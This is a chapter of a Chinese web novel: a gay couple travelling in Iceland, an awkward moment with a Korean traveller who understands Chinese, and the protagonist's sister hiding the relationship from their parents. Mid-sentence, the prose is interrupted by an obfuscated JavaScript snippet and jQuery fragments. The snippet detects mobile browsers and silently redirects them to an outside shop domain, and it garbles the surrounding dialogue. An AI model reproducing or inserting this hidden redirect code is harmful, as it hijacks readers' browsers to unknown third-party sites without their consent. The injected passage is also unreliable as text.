Ashley僵住了，恐怕只有学过微表情分析的人，才能看出这其中包含着多少种复杂的情绪。
她英语解释说，她父母都是韩国人，而且一直在韩国生活，但她舅妈是中国人，她又对汉语感兴趣，读大学时还上过选修课。
“就是说，你听得懂中文？”小李问。
“一点。”Ashley说。
“Fine.”
天呐，不知道她能不能听懂“内|裤”这个词，如果能，那岂不是太难堪了？
李朝闻疯狂地回想，这些天他俩到底说了多少体己话，从第一晚拿出羊叫罐开始，就肆无忌惮地在所有人面前加密语音。
可他们忘了，在海外，中文早就不是什么天书语言了。
此刻于磐抿着嘴，把牙咬得很紧，人已经尴尬到快离线了。
而李朝闻还在强绷着聊天，装没事人转移话题：“你喜欢中国吗？”
“Of course! ”话题回归正常，Ashley很兴奋地点头。
“那你去中国玩过吗? I mean, travel.{我说旅行。} ”
Ashley摇头，她说接待外国人中国游的都是比较昂贵的旅行团，而她更喜欢独自背包旅行，但听说中国不用Visa信用卡支付，也不用谷歌地图导航，没有Wechat{微信}就寸步难行。
“I see. That’s the case. {我明白了，确实是这个情况。}”小李：“But as long as you have a Chinese friend, it’s just a piece of cake. {但是你只要有个中国朋友，一切就都解决了。}”
Ashley礼貌地微笑着，认可他的话。
陷入沉默，李朝闻抿了一口热咖啡，踢了踢于磐的椅子，让他也说两句。
于磐如梦初醒，被逼上线了，开始努力交谈：“Oh, yeah. I totally agree with you. Because I’m from Chinese Taipei. {确实，我特别同意你的看法，我也是来自中国台湾的。}”
于磐说，他刚来大陆的时候，有诸多不适应的地方，大陆的确很方便，但当有些快捷、效率成了理所应当，外来者就会更加无所适从。
比如他十九岁第一次去北京，当时他还没注册微信，只拿了一些人民币现金，结果刚出机场去坐地铁，就遇上了问题：大家都用移动支付买票，导致机场的售票机器里没有零钱，吞进去整百元的纸币，却没办法给他找钱，他只好求助人工窗口。
幸亏于磐是中国人，如果是不会说中文的外国友人，那还要费更大的劲。
“But everything is improving! Believe in Chinese speed. {不过这些应该都在改善，请相信中国速度}”小李自信满满地笑道。
Ashley问：“So will you go back to China some day? {所以你们以后会回中国吗？}”
李朝闻不假思索，就答了他从德国毕业的时间：“Likely. One or two years later.{大概率会吧，一或两年后。}”
他说完心里咯噔一下，像走着路突然被绊倒，膝盖磕在地上，刚觉得疼——他现在不是孑然一身了，还没问过于磐是怎么打算的呢。
在Ashley眼里，他俩是情侣没错了，可英语里“you”很微妙，它既能指“你”，又能指“你们”；中文里的“你们”也同样复杂，它可以是“你们分别”，又可以是“你们一起”。
于磐没有抬头，而是带着僵硬的笑意，盯着鞋尖。
那次从Snaefellsjokull冰川死里逃生后，他就决心要在冰岛终老此生，他拿着申根签证，却从没有想去欧洲其他国家玩玩，就算是一直心驰神往的希腊，也没能让他踏出冰岛的土地。
于磐惯会逃避的，他不置可否。
李朝闻有点没趣地笑笑，接下去跟Ashley说：“So if you wanna come, you can call me.{所以如果你想来，可以叫我。}”
烘干房的机器在轰鸣，虽然把身体暖过来了，但李朝闻的心好像在坠入冰窟的边缘，被什么酸涩的东西，在往里拽。
上车出发，小李漫无目的地划着手机，发现昨天姐姐给他发了一大堆消息，关切地询问他“马上要有的男朋友”是什么情况。
李朝闻：“我和于磐，在一起了。”
他深思熟虑，在“在一起”前面，加上了“应该算”三个字。人人都说海誓山盟并不可靠，何况他们之间连誓言都还不切实际。
李朝闻看看于磐，他的手松松地搭在方向盘上，今早来不及刮脸，下颚长出一点胡茬，这张脸是李朝闻多少年魂牵梦萦的，他连他皮肤上的瑕疵，都觉得是美的。
于磐偏过头，眼睛微微睁大点，温柔地问他，干嘛。
已知Ashley会中文，小李不好意思再直接说出来了，他打字发给于磐：
“哥哥，我好爱你。”
这是他当下不吐不快的感情，爱他甚至爱到，他一瞬间觉得，未来也没那么重要。
小李越过驾驶座中间的扶手盒，摸了摸于磐的大|腿，然后自己偷笑到眼睛失踪。
车上无聊，小李又点开姐姐主管的“安徽文旅局”公众号，最近一条是关于宏村的推送，封面是飞檐翘脚的徽派建筑，他点进去，发现所有的英文翻译都是敷衍的机翻。
李朝闻：“姐，你们文旅局里，没有针对外国人的宣传指标吗？”
那晚姐姐难得不加班，回了父母家，眼看要下雨，她正在阳台上收衣服。
“有的啊，不过都是些任务文，主要咱们安徽的旅游资源，放国际市场上，实在是没有北京、江浙沪有竞争力。”李沧澜支着晾衣杆，边够衣服边说话，她只有162，没继承妈妈的高个子基因。
“干什么呢？”她爸问。
老李习惯性地拧着眉头，没表情时也很严肃，像在巡视晚自习似的。
“嗯？跟小宝聊天，看他发的照片。”
老李撇撇嘴，酸道：“哼这小子，从来不给我发。澜澜，给爸也看看。”
她爸进屋去找老花镜了，一想到他俩平时聊天内容，李沧澜都快吓呆了，好在她眼疾手快地，把聊天记录里所有关于“男朋友”的消息全删干净了。
“嗯，这张拍得不错，”老李把她手机举得好高，对着灯在看，欣赏了半天，又起身去转客厅里的大地球仪。当年买的时候，妈妈嫌占地方，坚决反对，老李吹胡子瞪眼，愣是买了回来。
地球仪上的冰岛和掌心差不多大，老李把手指放在上面，摸了又摸：“他还在冰岛呢？”
“嗯是啊。”李沧澜说。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483954|141281||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在这？”老李指着雷克雅未克。
“应该在这吧？”李沧澜指指瓦特纳冰川。
老李又摸摸白色的冰川： “哦，那小子在这啊。”
他家的地球仪是带凹凸的，老李说，能摸到地球的脉动。
看着冰岛壮美的风光，老李感慨万千，抓过来自己的手机给李朝闻发语音：“你爸爸教了这么多年地理，就年轻时候出过一次国，去的苏|联，一晃儿三十多年过去喽。”
“我们天天背北大西洋暖流，可谁想到过能去那么远啊？你现在条件好了，连冰岛都能去，你得珍惜机会，努力学习工作。”
“明天就回德国了吧？”
爸，你可真是会扫兴……李沧澜在旁边陪着笑，但心里替弟弟窝囊。
老李浑然不觉，继续检阅小李发来的照片，翻到和于磐的自拍合影，还要用两根粗笨的手指给放大了看。
姐姐倒吸一口凉气。
老李主要是看李朝闻，顺带给了于磐一点眼神：“这么看，他这个什么同学还稍微顺眼点。”
李沧澜的梨涡僵在脸上，等她爸抬头看她，才迟钝地答：“嗯！挺帅的。”
老李用鼻孔出气，“哼”了一声。
妈妈做了四菜一汤，喊老李来帮着摆餐具，李沧澜也跟过来，她妈顺口问道：
“那个博士，还聊着吗？”
“额，”她不知道怎么回答，本来想说不合适，让跟介绍人说一声，可明明昨天还坐在一起吃饭，只好含糊其辞道：“工作上有点交集。”
李沧澜把碎发别到耳后，微笑着给三口人盛汤，希望这个话题就这么过去。
“感觉怎么样？我听他姑姑说，之前是体育特长生，身体不错，脑子又好，就是家远了点，在大东北。”妈妈说。
哎呀妈，你可不知道他有多文盲呢，见天儿的瞎用成语！李沧澜遏制住自己翻白眼的冲动，这话不能说，不然爸妈会对陈野印象不好。
“嗯，再了解了解吧。”她把长发扎起来，抓起妈妈摆好的薯条就吃了两条。
“今天不拿番茄酱画画了？”妈妈问。
从很小的时候起，家里每次做薯条、芋头条这种东西，都要摆得好好的交给李沧澜，让她拿番茄酱画个小猫小狗之类的，长大了，这仍然是传统项目。
刚才她一紧张，忘了。
“哈哈，饿了就吃了。”李沧澜说。
不是啊，她为啥要怕爸妈对陈野印象不好？
“我和爸妈都在家，方便视频吗？”李沧澜给弟弟发。
李朝闻现在正在Vik镇的黑沙滩，他没想到冰岛这荒僻之地，手机信号居然这么好，视频打过去，立马被接了起来。
跟爸妈寒暄了几句，李朝闻的眼神一直往于磐身上飘，于磐站在离他三步远的地方，可能是在帮他拍小镇雕塑的视频。
微信提示，于磐：“我也很爱你。”
原来这闷骚男背过身去，是刚看到“爱你”这条消息，在给小李打字。
小李一下就忍不住了，甜笑得眼角都出了褶，他捂住脸，但还是被发现了。
“小宝，你笑什么那么开心？”妈妈问。
“啊，没事，我们在看黑沙滩呢。”李朝闻把镜头转过去，想给家人们照一下沙滩，不小心也把于磐的身影拍了进去。
“那是你那同学？”老李平时眼神不好，这会儿倒是很灵光。
他俩面面相觑，于磐硬着头皮，假笑着冲镜头挥手：
“伯父伯母好！”